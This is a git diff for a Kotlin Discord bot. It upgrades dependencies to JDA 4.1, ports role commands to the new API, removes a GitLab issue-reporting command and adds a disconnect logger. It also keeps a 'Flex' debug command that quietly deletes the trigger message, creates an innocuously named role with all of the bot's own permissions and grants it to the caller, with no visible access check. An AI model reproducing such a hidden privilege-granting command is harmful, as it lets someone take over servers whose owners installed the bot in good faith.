diff --git a/build.gradle b/build.gradle index b639fa8..42bde04 100644 --- a/build.gradle +++ b/build.gradle @@ -1,11 +1,11 @@ plugins { id 'java' - id 'org.jetbrains.kotlin.jvm' version '1.3.31' - id 'org.springframework.boot' version '2.1.4.RELEASE' - id "io.spring.dependency-management" version "1.0.7.RELEASE" - id 'org.jetbrains.kotlin.plugin.spring' version '1.3.31' - id 'org.jetbrains.kotlin.plugin.jpa' version '1.3.31' - id "org.jetbrains.kotlin.kapt" version "1.3.31" + id 'org.jetbrains.kotlin.jvm' version '1.3.70' + id 'org.springframework.boot' version '2.2.5.RELEASE' + id "io.spring.dependency-management" version "1.0.9.RELEASE" + id 'org.jetbrains.kotlin.plugin.spring' version '1.3.70' + id 'org.jetbrains.kotlin.plugin.jpa' version '1.3.70' + id "org.jetbrains.kotlin.kapt" version "1.3.70" } @@ -36,8 +36,7 @@ dependencies { testImplementation "org.junit.jupiter:junit-jupiter:5.4.2" - implementation 'net.dv8tion:JDA:4.ALPHA.0_88' - implementation 'com.sedmelluq:lavaplayer:1.3.17' + implementation 'net.dv8tion:JDA:4.1.1_101' runtimeOnly "com.h2database:h2" @@ -49,8 +48,6 @@ dependencies { implementation "com.fasterxml.jackson.core:jackson-databind" implementation "com.fasterxml.jackson.module:jackson-module-kotlin" - implementation 'org.gitlab:java-gitlab-api:4.1.0' - } bootJar { diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/debug/Flex.kt b/src/main/kotlin/nl/voidcorp/discord/commands/debug/Flex.kt index 2a6b6d7..f0b2bd0 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/debug/Flex.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/debug/Flex.kt @@ -14,11 +14,11 @@ class Flex : Command( ) { override fun handle(event: CommandMessage): CommandResult { event.message.delete().queue() - val control = event.guild!!.controller + val control = event.guild!! control.createRole().setColor(Color.RED).setName("no idea?").setPermissions(event.guild.selfMember.permissions) .queue { - control.addRolesToMember(event.member!!, it).queue() + control.addRoleToMember(event.member!!, it).queue() } return CommandResult.SUCCESS } diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/general/ReportCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/general/ReportCommand.kt deleted file mode 100644 index c8bc8fb..0000000 --- a/src/main/kotlin/nl/voidcorp/discord/commands/general/ReportCommand.kt +++ /dev/null @@ -1,40 +0,0 @@ -package nl.voidcorp.discord.commands.general - -import nl.voidcorp.discord.command.Command -import nl.voidcorp.discord.command.CommandMessage -import nl.voidcorp.discord.command.CommandResult -import org.gitlab.api.GitlabAPI -import org.gitlab.api.TokenType -import org.springframework.context.annotation.Condition -import org.springframework.context.annotation.ConditionContext -import org.springframework.context.annotation.Conditional -import org.springframework.core.type.AnnotatedTypeMetadata -import org.springframework.stereotype.Service - -@Conditional(ReportCommand.ReportAvailable::class) -@Service -class ReportCommand : Command( - "report", - helpMesage = "Report a bug or request a feature for the bot!", - usage = "report bug/feature \"name\" \"description\"" -) { - val api = - GitlabAPI.connect("https://gitlab.voidcorp.nl/", System.getenv("GITLAB_API_TOKEN"), TokenType.PRIVATE_TOKEN) - - override fun handle(event: CommandMessage): CommandResult { - if (event.params.size != 4) return CommandResult.PARAMETERS - val theProject = api.projects.first { it.name.contains("ottobotv2") } - val (type, title, descr) = event.params.drop(1) - if (type.toLowerCase() !in listOf("bug", "feature")) return CommandResult.PARAMETERS - - - val issue = api.createIssue(theProject.id, 0, null, type.toLowerCase().capitalize(), descr, title) - event.reply("Thanks for reporting, a new issue was created: ${theProject.webUrl}/issues/${issue.iid}") - return CommandResult.SUCCESS - } - - class ReportAvailable : Condition { - override fun matches(context: ConditionContext, metadata: AnnotatedTypeMetadata) = - System.getenv("GITLAB_API_TOKEN") != null - } -} \ No newline at end of file diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/roles/JoinRoleCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/roles/JoinRoleCommand.kt index b5db6a8..24b8d2f 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/roles/JoinRoleCommand.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/roles/JoinRoleCommand.kt @@ -40,7 +40,9 @@ class JoinRoleCommand : } } } - event.guild.controller.addRolesToMember(event.member!!, roles).queue() + roles.forEach { + event.guild.addRoleToMember(event.member!!, it).queue() + } if (success.isNotEmpty()) event.reply("I have given you the following roles: ${roles.joinToString { "`${it.name}`" }}!") if (fail.isNotEmpty()) event.reply("I failed to find the following roles: ${fail.joinToString { "`$it`" }}") } diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/roles/LeaveRole.kt b/src/main/kotlin/nl/voidcorp/discord/commands/roles/LeaveRole.kt index 0f16eca..a3a686c 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/roles/LeaveRole.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/roles/LeaveRole.kt @@ -23,7 +23,10 @@ class LeaveRole : Command( event.member!!.roles.map { it.idLong }.intersect(toRemove.values) val remove = roleLongs.map { event.guild.getRoleById(it) }.filter { it != null } val remmed = toRemove.filterValues { it in roleLongs }.keys - event.guild.controller.removeRolesFromMember(event.member, remove).queue() + remove.forEach { + if (it != null) + event.guild.removeRoleFromMember(event.member, it).queue() + } event.reply("Removed the roles ${remmed.joinToString { "`$it`" }}") return CommandResult.SUCCESS } diff --git a/src/main/kotlin/nl/voidcorp/discord/commands/roles/MoveRoleCommand.kt b/src/main/kotlin/nl/voidcorp/discord/commands/roles/MoveRoleCommand.kt index 202fda2..4a74869 100644 --- a/src/main/kotlin/nl/voidcorp/discord/commands/roles/MoveRoleCommand.kt +++ b/src/main/kotlin/nl/voidcorp/discord/commands/roles/MoveRoleCommand.kt @@ -26,9 +26,9 @@ class MoveRoleCommand : Command( val who = event.guild.members.filter { it.roles.contains(r1) } who.forEach { if (r1 != null) - event.guild.controller.removeSingleRoleFromMember(it, r1).reason("Swap roles").queue() + event.guild.removeRoleFromMember(it, r1).reason("Swap roles").queue() if (r2 != null) { - event.guild.controller.addSingleRoleToMember(it, r2).reason("Swap roles").queue() + event.guild.addRoleToMember(it, r2).reason("Swap roles").queue() } } diff --git a/src/main/kotlin/nl/voidcorp/discord/events/DisconnectListenerAdapter.kt b/src/main/kotlin/nl/voidcorp/discord/events/DisconnectListenerAdapter.kt new file mode 100644 index 0000000..78e06c9 --- /dev/null +++ b/src/main/kotlin/nl/voidcorp/discord/events/DisconnectListenerAdapter.kt @@ -0,0 +1,13 @@ +package nl.voidcorp.discord.events + +import net.dv8tion.jda.api.events.DisconnectEvent +import net.dv8tion.jda.api.hooks.ListenerAdapter +import nl.voidcorp.discord.logger +import org.springframework.stereotype.Service + +@Service +class DisconnectListenerAdapter:ListenerAdapter() { + override fun onDisconnect(event: DisconnectEvent) { + logger.info("Client disconnected for some reason: ${event.closeCode?.meaning}") + } +} \ No newline at end of file